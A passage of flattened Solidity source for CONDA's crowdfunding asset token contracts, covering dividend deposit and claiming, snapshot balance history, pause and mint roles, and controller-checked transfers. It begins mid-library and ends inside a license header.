function totalSupplyAt(Supply storage _self, uint256 _specificTransfersAndMintsIndex) public view returns(uint256) {
return getValueAt(_self.totalSupplyHistory, _specificTransfersAndMintsIndex);
}
function totalSupplyNow(Supply storage _self) public view returns(uint256) {
return getValueAt(_self.totalSupplyHistory, _self.tokenActionIndex);
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given index
/// @param checkpoints The history of values being queried
/// @param _specificTransfersAndMintsIndex The index to retrieve the history checkpoint value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint256 _specificTransfersAndMintsIndex) private view returns (uint256) {
// requested before a check point was ever created for this token
if (checkpoints.length == 0 || checkpoints[0].currentTokenActionIndex > _specificTransfersAndMintsIndex) {
return 0;
}
// Shortcut for the actual value
if (_specificTransfersAndMintsIndex >= checkpoints[checkpoints.length-1].currentTokenActionIndex) {
return checkpoints[checkpoints.length-1].value;
}
// Binary search of the value in the array
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1)/2;
if (checkpoints[mid].currentTokenActionIndex<=_specificTransfersAndMintsIndex) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Supply storage _self, Checkpoint[] storage checkpoints, uint256 _value) private {
require(_value == uint128(_value), "invalid cast1");
require(_self.tokenActionIndex == uint128(_self.tokenActionIndex), "invalid cast2");
checkpoints.push(Checkpoint(
uint128(_self.tokenActionIndex),
uint128(_value)
));
}
/// @dev Function to stop minting new tokens.
/// @return True if the operation was successful.
function finishMinting(Availability storage _self) public returns (bool) {
if(_self.mintingPhaseFinished) {
return false;
}
_self.mintingPhaseFinished = true;
emit MintFinished(msg.sender);
return true;
}
/// @notice Reopening crowdsale means minting is again possible. UseCase: notary approves and does that.
/// @return True if the operation was successful.
function reopenCrowdsale(Availability storage _self) public returns (bool) {
if(_self.mintingPhaseFinished == false) {
return false;
}
_self.mintingPhaseFinished = false;
emit Reopened(msg.sender);
return true;
}
/// @notice Set roles/operators.
/// @param _pauseControl pause control.
/// @param _tokenRescueControl token rescue control (accidentally assigned tokens).
function setRoles(Roles storage _self, address _pauseControl, address _tokenRescueControl) public {
require(_pauseControl != address(0), "addr0");
require(_tokenRescueControl != address(0), "addr0");
_self.pauseControl = _pauseControl;
_self.tokenRescueControl = _tokenRescueControl;
emit RolesChanged(msg.sender, _pauseControl, _tokenRescueControl);
}
/// @notice Set mint control.
function setMintControl(Roles storage _self, address _mintControl) public {
require(_mintControl != address(0), "addr0");
_self.mintControl = _mintControl;
emit MintControlChanged(msg.sender, _mintControl);
}
/// @notice Set token alive which can be seen as not in draft state anymore.
function setTokenAlive(Availability storage _self) public {
_self.tokenAlive = true;
}
////////////////
// Pausing token for unforeseen reasons
////////////////
/// @notice pause transfer.
/// @param _transfersEnabled True if transfers are allowed.
function pauseTransfer(Availability storage _self, bool _transfersEnabled) public
{
_self.transfersEnabled = _transfersEnabled;
if(_transfersEnabled) {
emit TransferResumed(msg.sender);
} else {
emit TransferPaused(msg.sender);
}
}
/// @notice calling this can enable/disable capital increase/decrease flag
/// @param _mintingEnabled True if minting is allowed
function pauseCapitalIncreaseOrDecrease(Availability storage _self, bool _mintingEnabled) public
{
_self.mintingPaused = (_mintingEnabled == false);
if(_mintingEnabled) {
emit MintingResumed(msg.sender);
} else {
emit MintingPaused(msg.sender);
}
}
/// @notice Receives ether to be distriubted to all token owners
function depositDividend(Supply storage _self, uint256 msgValue)
public
{
require(msgValue > 0, "amount0");
// gets the current number of total token distributed
uint256 currentSupply = totalSupplyNow(_self);
// a deposit without investment would end up in unclaimable deposit for token holders
require(currentSupply > 0, "0investors");
// creates a new index for the dividends
uint256 dividendIndex = _self.dividends.length;
// Stores the current meta data for the dividend payout
_self.dividends.push(
Dividend(
_self.tokenActionIndex, // current index used for claiming
block.timestamp, // Timestamp of the distribution
DividendType.Ether, // Type of dividends
address(0),
msgValue, // Total amount that has been distributed
0, // amount that has been claimed
currentSupply, // Total supply now
false // Already recylced
)
);
emit DividendDeposited(msg.sender, _self.tokenActionIndex, msgValue, currentSupply, dividendIndex);
}
/// @notice Receives ERC20 to be distriubted to all token owners
function depositERC20Dividend(Supply storage _self, address _dividendToken, uint256 _amount, address baseCurrency)
public
{
require(_amount > 0, "amount0");
require(_dividendToken == baseCurrency, "not baseCurrency");
// gets the current number of total token distributed
uint256 currentSupply = totalSupplyNow(_self);
// a deposit without investment would end up in unclaimable deposit for token holders
require(currentSupply > 0, "0investors");
// creates a new index for the dividends
uint256 dividendIndex = _self.dividends.length;
// Stores the current meta data for the dividend payout
_self.dividends.push(
Dividend(
_self.tokenActionIndex, // index that counts up on transfers and mints
block.timestamp, // Timestamp of the distribution
DividendType.ERC20,
_dividendToken,
_amount, // Total amount that has been distributed
0, // amount that has been claimed
currentSupply, // Total supply now
false // Already recylced
)
);
// it shouldn't return anything but according to ERC20 standard it could if badly implemented
// IMPORTANT: potentially a call with reentrance -> do at the end
require(ERC20(_dividendToken).transferFrom(msg.sender, address(this), _amount), "transferFrom");
emit DividendDeposited(msg.sender, _self.tokenActionIndex, _amount, currentSupply, dividendIndex);
}
/// @notice Function to claim dividends for msg.sender
/// @dev dividendsClaimed should not be handled here.
function claimDividend(Supply storage _self, uint256 _dividendIndex) public {
// Loads the details for the specific Dividend payment
Dividend storage dividend = _self.dividends[_dividendIndex];
// Devidends should not have been claimed already
require(dividend.claimed[msg.sender] == false, "claimed");
// Devidends should not have been recycled already
require(dividend.recycled == false, "recycled");
// get the token balance at the time of the dividend distribution
uint256 balance = balanceOfAt(_self, msg.sender, dividend.currentTokenActionIndex.sub(1));
// calculates the amount of dividends that can be claimed
uint256 claim = balance.mul(dividend.amount).div(dividend.totalSupply);
// flag that dividends have been claimed
dividend.claimed[msg.sender] = true;
dividend.claimedAmount = SafeMath.add(dividend.claimedAmount, claim);
claimThis(dividend.dividendType, _dividendIndex, msg.sender, claim, dividend.dividendToken);
}
/// @notice Claim all dividends.
/// @dev dividendsClaimed counter should only increase when claimed in hole-free way.
function claimDividendAll(Supply storage _self) public {
claimLoopInternal(_self, _self.dividendsClaimed[msg.sender], (_self.dividends.length-1));
}
/// @notice Claim dividends in batches. In case claimDividendAll runs out of gas.
/// @dev dividendsClaimed counter should only increase when claimed in hole-free way.
/// @param _startIndex start index (inclusive number).
/// @param _endIndex end index (inclusive number).
function claimInBatches(Supply storage _self, uint256 _startIndex, uint256 _endIndex) public {
claimLoopInternal(_self, _startIndex, _endIndex);
}
/// @notice Claim loop of batch claim and claim all.
/// @dev dividendsClaimed counter should only increase when claimed in hole-free way.
/// @param _startIndex start index (inclusive number).
/// @param _endIndex end index (inclusive number).
function claimLoopInternal(Supply storage _self, uint256 _startIndex, uint256 _endIndex) private {
require(_startIndex <= _endIndex, "start after end");
//early exit if already claimed
require(_self.dividendsClaimed[msg.sender] < _self.dividends.length, "all claimed");
uint256 dividendsClaimedTemp = _self.dividendsClaimed[msg.sender];
// Cycle through all dividend distributions and make the payout
for (uint256 i = _startIndex; i <= _endIndex; i++) {
if (_self.dividends[i].recycled == true) {
//recycled and tried to claim in continuous way internally counts as claimed
dividendsClaimedTemp = SafeMath.add(i, 1);
}
else if (_self.dividends[i].claimed[msg.sender] == false) {
dividendsClaimedTemp = SafeMath.add(i, 1);
claimDividend(_self, i);
}
}
// This is done after the loop to reduce writes.
// Remembers what has been claimed after hole-free claiming procedure.
// IMPORTANT: do only if batch claim docks on previous claim to avoid unexpected claim all behaviour.
if(_startIndex <= _self.dividendsClaimed[msg.sender]) {
_self.dividendsClaimed[msg.sender] = dividendsClaimedTemp;
}
}
/// @notice Dividends which have not been claimed can be claimed by owner after timelock (to avoid loss)
/// @param _dividendIndex index of dividend to recycle.
/// @param _recycleLockedTimespan timespan required until possible.
/// @param _currentSupply current supply.
function recycleDividend(Supply storage _self, uint256 _dividendIndex, uint256 _recycleLockedTimespan, uint256 _currentSupply) public {
// Get the dividend distribution
Dividend storage dividend = _self.dividends[_dividendIndex];
// should not have been recycled already
require(dividend.recycled == false, "recycled");
// The recycle time has to be over
require(dividend.timestamp < SafeMath.sub(block.timestamp, _recycleLockedTimespan), "timeUp");
// Devidends should not have been claimed already
require(dividend.claimed[msg.sender] == false, "claimed");
//
//refund
//
// The amount, which has not been claimed is distributed to token owner
_self.dividends[_dividendIndex].recycled = true;
// calculates the amount of dividends that can be claimed
uint256 claim = SafeMath.sub(dividend.amount, dividend.claimedAmount);
// flag that dividends have been claimed
dividend.claimed[msg.sender] = true;
dividend.claimedAmount = SafeMath.add(dividend.claimedAmount, claim);
claimThis(dividend.dividendType, _dividendIndex, msg.sender, claim, dividend.dividendToken);
emit DividendRecycled(msg.sender, _self.tokenActionIndex, claim, _currentSupply, _dividendIndex);
}
/// @dev the core claim function of single dividend.
function claimThis(DividendType _dividendType, uint256 _dividendIndex, address payable _beneficiary, uint256 _claim, address _dividendToken)
private
{
// transfer the dividends to the token holder
if (_claim > 0) {
if (_dividendType == DividendType.Ether) {
_beneficiary.transfer(_claim);
}
else if (_dividendType == DividendType.ERC20) {
require(ERC20(_dividendToken).transfer(_beneficiary, _claim), "transfer");
}
else {
revert("unknown type");
}
emit DividendClaimed(_beneficiary, _dividendIndex, _claim);
}
}
/// @notice If this contract gets a balance in some other ERC20 contract - or even iself - then we can rescue it.
/// @param _foreignTokenAddress token where contract has balance.
/// @param _to the beneficiary.
function rescueToken(Availability storage _self, address _foreignTokenAddress, address _to) public
{
require(_self.mintingPhaseFinished, "unfinished");
ERC20(_foreignTokenAddress).transfer(_to, ERC20(_foreignTokenAddress).balanceOf(address(this)));
}
///////////////////
// Events (must be redundant in calling contract to work!)
///////////////////
event Transfer(address indexed from, address indexed to, uint256 value);
event SelfApprovedTransfer(address indexed initiator, address indexed from, address indexed to, uint256 value);
event MintDetailed(address indexed initiator, address indexed to, uint256 amount);
event MintFinished(address indexed initiator);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TransferPaused(address indexed initiator);
event TransferResumed(address indexed initiator);
event MintingPaused(address indexed initiator);
event MintingResumed(address indexed initiator);
event Reopened(address indexed initiator);
event DividendDeposited(address indexed depositor, uint256 transferAndMintIndex, uint256 amount, uint256 totalSupply, uint256 dividendIndex);
event DividendClaimed(address indexed claimer, uint256 dividendIndex, uint256 claim);
event DividendRecycled(address indexed recycler, uint256 transferAndMintIndex, uint256 amount, uint256 totalSupply, uint256 dividendIndex);
event RolesChanged(address indexed initiator, address pauseControl, address tokenRescueControl);
event MintControlChanged(address indexed initiator, address mintControl);
event TokenActionIndexIncreased(uint256 tokenActionIndex, uint256 blocknumber);
}
// File: contracts/assettoken/interface/IBasicAssetToken.sol
interface IBasicAssetToken {
//AssetToken specific
function getLimits() external view returns (uint256, uint256, uint256, uint256);
function isTokenAlive() external view returns (bool);
function setMetaData(
string calldata _name,
string calldata _symbol,
address _tokenBaseCurrency,
uint256 _cap,
uint256 _goal,
uint256 _startTime,
uint256 _endTime)
external;
//Mintable
function mint(address _to, uint256 _amount) external returns (bool);
function finishMinting() external returns (bool);
//ERC20
function balanceOf(address _owner) external view returns (uint256 balance);
function approve(address _spender, uint256 _amount) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256);
function increaseApproval(address _spender, uint256 _addedValue) external returns (bool);
function decreaseApproval(address _spender, uint256 _subtractedValue) external returns (bool);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool success);
}
// File: contracts/assettoken/abstract/IBasicAssetTokenFull.sol
contract IBasicAssetTokenFull is IBasicAssetToken {
function checkCanSetMetadata() internal returns (bool);
function getCap() public view returns (uint256);
function getGoal() public view returns (uint256);
function getStart() public view returns (uint256);
function getEnd() public view returns (uint256);
function getLimits() public view returns (uint256, uint256, uint256, uint256);
function setMetaData(
string calldata _name,
string calldata _symbol,
address _tokenBaseCurrency,
uint256 _cap,
uint256 _goal,
uint256 _startTime,
uint256 _endTime)
external;
function getTokenRescueControl() public view returns (address);
function getPauseControl() public view returns (address);
function isTransfersPaused() public view returns (bool);
function setMintControl(address _mintControl) public;
function setRoles(address _pauseControl, address _tokenRescueControl) public;
function setTokenAlive() public;
function isTokenAlive() public view returns (bool);
function balanceOf(address _owner) public view returns (uint256 balance);
function approve(address _spender, uint256 _amount) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function totalSupply() public view returns (uint256);
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool);
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool);
function finishMinting() public returns (bool);
function rescueToken(address _foreignTokenAddress, address _to) public;
function balanceOfAt(address _owner, uint256 _specificTransfersAndMintsIndex) public view returns (uint256);
function totalSupplyAt(uint256 _specificTransfersAndMintsIndex) public view returns(uint256);
function enableTransfers(bool _transfersEnabled) public;
function pauseTransfer(bool _transfersEnabled) public;
function pauseCapitalIncreaseOrDecrease(bool _mintingEnabled) public;
function isMintingPaused() public view returns (bool);
function mint(address _to, uint256 _amount) public returns (bool);
function transfer(address _to, uint256 _amount) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function enableTransferInternal(bool _transfersEnabled) internal;
function reopenCrowdsaleInternal() internal returns (bool);
function transferFromInternal(address _from, address _to, uint256 _amount) internal returns (bool success);
function enforcedTransferFromInternal(address _from, address _to, uint256 _value, bool _fullAmountRequired) internal returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event MintDetailed(address indexed initiator, address indexed to, uint256 amount);
event MintFinished(address indexed initiator);
event TransferPaused(address indexed initiator);
event TransferResumed(address indexed initiator);
event Reopened(address indexed initiator);
event MetaDataChanged(address indexed initiator, string name, string symbol, address baseCurrency, uint256 cap, uint256 goal);
event RolesChanged(address indexed initiator, address _pauseControl, address _tokenRescueControl);
event MintControlChanged(address indexed initiator, address mintControl);
}
// File: contracts/assettoken/BasicAssetToken.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title Basic AssetToken. This contract includes the basic AssetToken features */
contract BasicAssetToken is IBasicAssetTokenFull, Ownable {
using SafeMath for uint256;
using AssetTokenL for AssetTokenL.Supply;
using AssetTokenL for AssetTokenL.Availability;
using AssetTokenL for AssetTokenL.Roles;
///////////////////
// Variables
///////////////////
string private _name;
string private _symbol;
// The token's name
function name() public view returns (string memory) {
return _name;
}
// Fixed number of 0 decimals like real world equity
function decimals() public pure returns (uint8) {
return 0;
}
// An identifier
function symbol() public view returns (string memory) {
return _symbol;
}
// 1000 is version 1
uint16 public constant version = 2000;
// Defines the baseCurrency of the token
address public baseCurrency;
// Supply: balance, checkpoints etc.
AssetTokenL.Supply supply;
// Availability: what's paused
AssetTokenL.Availability availability;
// Roles: who is entitled
AssetTokenL.Roles roles;
///////////////////
// Simple state getters
///////////////////
function isMintingPaused() public view returns (bool) {
return availability.mintingPaused;
}
function isMintingPhaseFinished() public view returns (bool) {
return availability.mintingPhaseFinished;
}
function getPauseControl() public view returns (address) {
return roles.pauseControl;
}
function getTokenRescueControl() public view returns (address) {
return roles.tokenRescueControl;
}
function getMintControl() public view returns (address) {
return roles.mintControl;
}
function isTransfersPaused() public view returns (bool) {
return !availability.transfersEnabled;
}
function isTokenAlive() public view returns (bool) {
return availability.tokenAlive;
}
function getCap() public view returns (uint256) {
return supply.cap;
}
function getGoal() public view returns (uint256) {
return supply.goal;
}
function getStart() public view returns (uint256) {
return supply.startTime;
}
function getEnd() public view returns (uint256) {
return supply.endTime;
}
function getLimits() public view returns (uint256, uint256, uint256, uint256) {
return (supply.cap, supply.goal, supply.startTime, supply.endTime);
}
function getCurrentHistoryIndex() public view returns (uint256) {
return supply.tokenActionIndex;
}
///////////////////
// Events
///////////////////
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event MintDetailed(address indexed initiator, address indexed to, uint256 amount);
event MintFinished(address indexed initiator);
event TransferPaused(address indexed initiator);
event TransferResumed(address indexed initiator);
event MintingPaused(address indexed initiator);
event MintingResumed(address indexed initiator);
event Reopened(address indexed initiator);
event MetaDataChanged(address indexed initiator, string name, string symbol, address baseCurrency, uint256 cap, uint256 goal);
event RolesChanged(address indexed initiator, address pauseControl, address tokenRescueControl);
event MintControlChanged(address indexed initiator, address mintControl);
event TokenActionIndexIncreased(uint256 tokenActionIndex, uint256 blocknumber);
///////////////////
// Modifiers
///////////////////
modifier onlyPauseControl() {
require(msg.sender == roles.pauseControl, "pauseCtrl");
_;
}
//can be overwritten in inherited contracts...
function _canDoAnytime() internal view returns (bool) {
return false;
}
modifier onlyOwnerOrOverruled() {
if(_canDoAnytime() == false) {
require(isOwner(), "only owner");
}
_;
}
modifier canMint() {
if(_canDoAnytime() == false) {
require(canMintLogic(), "canMint");
}
_;
}
function canMintLogic() private view returns (bool) {
return msg.sender == roles.mintControl && availability.tokenAlive && !availability.mintingPhaseFinished && !availability.mintingPaused;
}
//can be overwritten in inherited contracts...
function checkCanSetMetadata() internal returns (bool) {
if(_canDoAnytime() == false) {
require(isOwner(), "owner only");
require(!availability.tokenAlive, "alive");
require(!availability.mintingPhaseFinished, "finished");
}
return true;
}
modifier canSetMetadata() {
checkCanSetMetadata();
_;
}
modifier onlyTokenAlive() {
require(availability.tokenAlive, "not alive");
_;
}
modifier onlyTokenRescueControl() {
require(msg.sender == roles.tokenRescueControl, "rescueCtrl");
_;
}
modifier canTransfer() {
require(availability.transfersEnabled, "paused");
_;
}
///////////////////
// Set / Get Metadata
///////////////////
/// @notice Change the token's metadata.
/// @dev Time is via block.timestamp (check crowdsale contract)
/// @param _nameParam The name of the token.
/// @param _symbolParam The symbol of the token.
/// @param _tokenBaseCurrency The base currency.
/// @param _cap The max amount of tokens that can be minted.
/// @param _goal The goal of tokens that should be sold.
/// @param _startTime Time when crowdsale should start.
/// @param _endTime Time when crowdsale should end.
function setMetaData(
string calldata _nameParam,
string calldata _symbolParam,
address _tokenBaseCurrency,
uint256 _cap,
uint256 _goal,
uint256 _startTime,
uint256 _endTime)
external
canSetMetadata
{
require(_cap >= _goal, "cap higher goal");
_name = _nameParam;
_symbol = _symbolParam;
baseCurrency = _tokenBaseCurrency;
supply.cap = _cap;
supply.goal = _goal;
supply.startTime = _startTime;
supply.endTime = _endTime;
emit MetaDataChanged(msg.sender, _nameParam, _symbolParam, _tokenBaseCurrency, _cap, _goal);
}
/// @notice Set mint control role. Usually this is CONDA's controller.
/// @param _mintControl Contract address or wallet that should be allowed to mint.
function setMintControl(address _mintControl) public canSetMetadata { //ERROR: what on UPGRADE
roles.setMintControl(_mintControl);
}
/// @notice Set roles.
/// @param _pauseControl address that is allowed to pause.
/// @param _tokenRescueControl address that is allowed rescue tokens.
function setRoles(address _pauseControl, address _tokenRescueControl) public
canSetMetadata
{
roles.setRoles(_pauseControl, _tokenRescueControl);
}
function setTokenAlive() public
onlyOwnerOrOverruled
{
availability.setTokenAlive();
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public canTransfer returns (bool success) {
supply.doTransfer(availability, msg.sender, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition (requires allowance/approval)
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
return transferFromInternal(_from, _to, _amount);
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition (requires allowance/approval)
/// @dev modifiers in this internal method because also used by features.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFromInternal(address _from, address _to, uint256 _amount) internal canTransfer returns (bool success) {
return supply.transferFrom(availability, _from, _to, _amount);
}
/// @notice balance of `_owner` for this token
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` now (at the current index)
function balanceOf(address _owner) public view returns (uint256 balance) {
return supply.balanceOfNow(_owner);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` of his tokens
/// @dev This is a modified version of the ERC20 approve function to be a bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
return supply.approve(_spender, _amount);
}
/// @notice This method can check how much is approved by `_owner` for `_spender`
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed to spend
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return supply.allowed[_owner][_spender];
}
/// @notice This function makes it easy to get the total number of tokens
/// @return The total number of tokens now (at current index)
function totalSupply() public view returns (uint256) {
return supply.totalSupplyNow();
}
/// @notice Increase the amount of tokens that an owner allowed to a spender.
/// @dev approve should be called when allowed[_spender] == 0. To increment
/// allowed value is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
/// From MonolithDAO Token.sol
/// @param _spender The address which will spend the funds.
/// @param _addedValue The amount of tokens to increase the allowance by.
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
return supply.increaseApproval(_spender, _addedValue);
}
/// @dev Decrease the amount of tokens that an owner allowed to a spender.
/// approve should be called when allowed[_spender] == 0. To decrement
/// allowed value is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
/// From MonolithDAO Token.sol
/// @param _spender The address which will spend the funds.
/// @param _subtractedValue The amount of tokens to decrease the allowance by.
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
return supply.decreaseApproval(_spender, _subtractedValue);
}
////////////////
// Miniting
////////////////
/// @dev Can rescue tokens accidentally assigned to this contract
/// @param _to The beneficiary who receives increased balance.
/// @param _amount The amount of balance increase.
function mint(address _to, uint256 _amount) public canMint returns (bool) {
return supply.mint(_to, _amount);
}
/// @notice Function to stop minting new tokens
/// @return True if the operation was successful.
function finishMinting() public onlyOwnerOrOverruled returns (bool) {
return availability.finishMinting();
}
////////////////
// Rescue Tokens
////////////////
/// @dev Can rescue tokens accidentally assigned to this contract
/// @param _foreignTokenAddress The address from which the balance will be retrieved
/// @param _to beneficiary
function rescueToken(address _foreignTokenAddress, address _to)
public
onlyTokenRescueControl
{
availability.rescueToken(_foreignTokenAddress, _to);
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @notice Someone's token balance of this token
/// @dev Queries the balance of `_owner` at `_specificTransfersAndMintsIndex`
/// @param _owner The address from which the balance will be retrieved
/// @param _specificTransfersAndMintsIndex The balance at index
/// @return The balance at `_specificTransfersAndMintsIndex`
function balanceOfAt(address _owner, uint256 _specificTransfersAndMintsIndex) public view returns (uint256) {
return supply.balanceOfAt(_owner, _specificTransfersAndMintsIndex);
}
/// @notice Total amount of tokens at `_specificTransfersAndMintsIndex`.
/// @param _specificTransfersAndMintsIndex The totalSupply at index
/// @return The total amount of tokens at `_specificTransfersAndMintsIndex`
function totalSupplyAt(uint256 _specificTransfersAndMintsIndex) public view returns(uint256) {
return supply.totalSupplyAt(_specificTransfersAndMintsIndex);
}
////////////////
// Enable tokens transfers
////////////////
/// @dev this function is not public and can be overwritten
function enableTransferInternal(bool _transfersEnabled) internal {
availability.pauseTransfer(_transfersEnabled);
}
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed
function enableTransfers(bool _transfersEnabled) public
onlyOwnerOrOverruled
{
enableTransferInternal(_transfersEnabled);
}
////////////////
// Pausing token for unforeseen reasons
////////////////
/// @dev `pauseTransfer` is an alias for `enableTransfers` using the pauseControl modifier
/// @param _transfersEnabled False if transfers are allowed
function pauseTransfer(bool _transfersEnabled) public
onlyPauseControl
{
enableTransferInternal(_transfersEnabled);
}
/// @dev `pauseCapitalIncreaseOrDecrease` can pause mint
/// @param _mintingEnabled False if minting is allowed
function pauseCapitalIncreaseOrDecrease(bool _mintingEnabled) public
onlyPauseControl
{
availability.pauseCapitalIncreaseOrDecrease(_mintingEnabled);
}
/// @dev capitalControl (if exists) can reopen the crowdsale.
/// this function is not public and can be overwritten
function reopenCrowdsaleInternal() internal returns (bool) {
return availability.reopenCrowdsale();
}
/// @dev capitalControl (if exists) can enforce a transferFrom e.g. in case of lost wallet.
/// this function is not public and can be overwritten
function enforcedTransferFromInternal(address _from, address _to, uint256 _value, bool _fullAmountRequired) internal returns (bool) {
return supply.enforcedTransferFrom(availability, _from, _to, _value, _fullAmountRequired);
}
}
// File: contracts/assettoken/interfaces/ICRWDController.sol
interface ICRWDController {
function transferParticipantsVerification(address _underlyingCurrency, address _from, address _to, uint256 _amount) external returns (bool); //from AssetToken
}
// File: contracts/assettoken/interfaces/IGlobalIndex.sol
interface IGlobalIndex {
function getControllerAddress() external view returns (address);
function setControllerAddress(address _newControllerAddress) external;
}
// File: contracts/assettoken/abstract/ICRWDAssetToken.sol
contract ICRWDAssetToken is IBasicAssetTokenFull {
function setGlobalIndexAddress(address _globalIndexAddress) public;
}
// File: contracts/assettoken/CRWDAssetToken.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title CRWD AssetToken. This contract inherits basic functionality and extends calls to controller. */
contract CRWDAssetToken is BasicAssetToken, ICRWDAssetToken {
using SafeMath for uint256;
IGlobalIndex public globalIndex;
function getControllerAddress() public view returns (address) {
return globalIndex.getControllerAddress();
}
/** @dev ERC20 transfer function overlay to transfer tokens and call controller.
* @param _to The recipient address.
* @param _amount The amount.
* @return A boolean that indicates if the operation was successful.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
ICRWDController(getControllerAddress()).transferParticipantsVerification(baseCurrency, msg.sender, _to, _amount);
return super.transfer(_to, _amount);
}
/** @dev ERC20 transferFrom function overlay to transfer tokens and call controller.
* @param _from The sender address (requires approval).
* @param _to The recipient address.
* @param _amount The amount.
* @return A boolean that indicates if the operation was successful.
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
ICRWDController(getControllerAddress()).transferParticipantsVerification(baseCurrency, _from, _to, _amount);
return super.transferFrom(_from, _to, _amount);
}
/** @dev Mint function overlay to mint/create tokens.
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public canMint returns (bool) {
return super.mint(_to,_amount);
}
/** @dev Set address of GlobalIndex.
* @param _globalIndexAddress Address to be used for current destination e.g. controller lookup.
*/
function setGlobalIndexAddress(address _globalIndexAddress) public onlyOwner {
globalIndex = IGlobalIndex(_globalIndexAddress);
}
}
// File: contracts/assettoken/feature/FeatureCapitalControl.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title FeatureCapitalControl. */
contract FeatureCapitalControl is ICRWDAssetToken {
////////////////
// Variables
////////////////
//if set can mint after finished. E.g. a notary.
address public capitalControl;
////////////////
// Constructor
////////////////
constructor(address _capitalControl) public {
capitalControl = _capitalControl;
enableTransferInternal(false); //disable transfer as default
}
////////////////
// Modifiers
////////////////
//override: skip certain modifier checks as capitalControl
function _canDoAnytime() internal view returns (bool) {
return msg.sender == capitalControl;
}
modifier onlyCapitalControl() {
require(msg.sender == capitalControl, "permission");
_;
}
////////////////
// Functions
////////////////
/// @notice set capitalControl
/// @dev this looks unprotected but has a checkCanSetMetadata check.
/// depending on inheritance this can be done
/// before alive and any time by capitalControl
function setCapitalControl(address _capitalControl) public {
require(checkCanSetMetadata(), "forbidden");
capitalControl = _capitalControl;
}
/// @notice as capital control I can pass my ownership to a new address (e.g. private key leaked).
/// @param _capitalControl new capitalControl address
function updateCapitalControl(address _capitalControl) public onlyCapitalControl {
capitalControl = _capitalControl;
}
////////////////
// Reopen crowdsale (by capitalControl e.g. notary)
////////////////
/// @notice capitalControl can reopen the crowdsale.
function reopenCrowdsale() public onlyCapitalControl returns (bool) {
return reopenCrowdsaleInternal();
}
}
// File: contracts/assettoken/feature/FeatureCapitalControlWithForcedTransferFrom.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
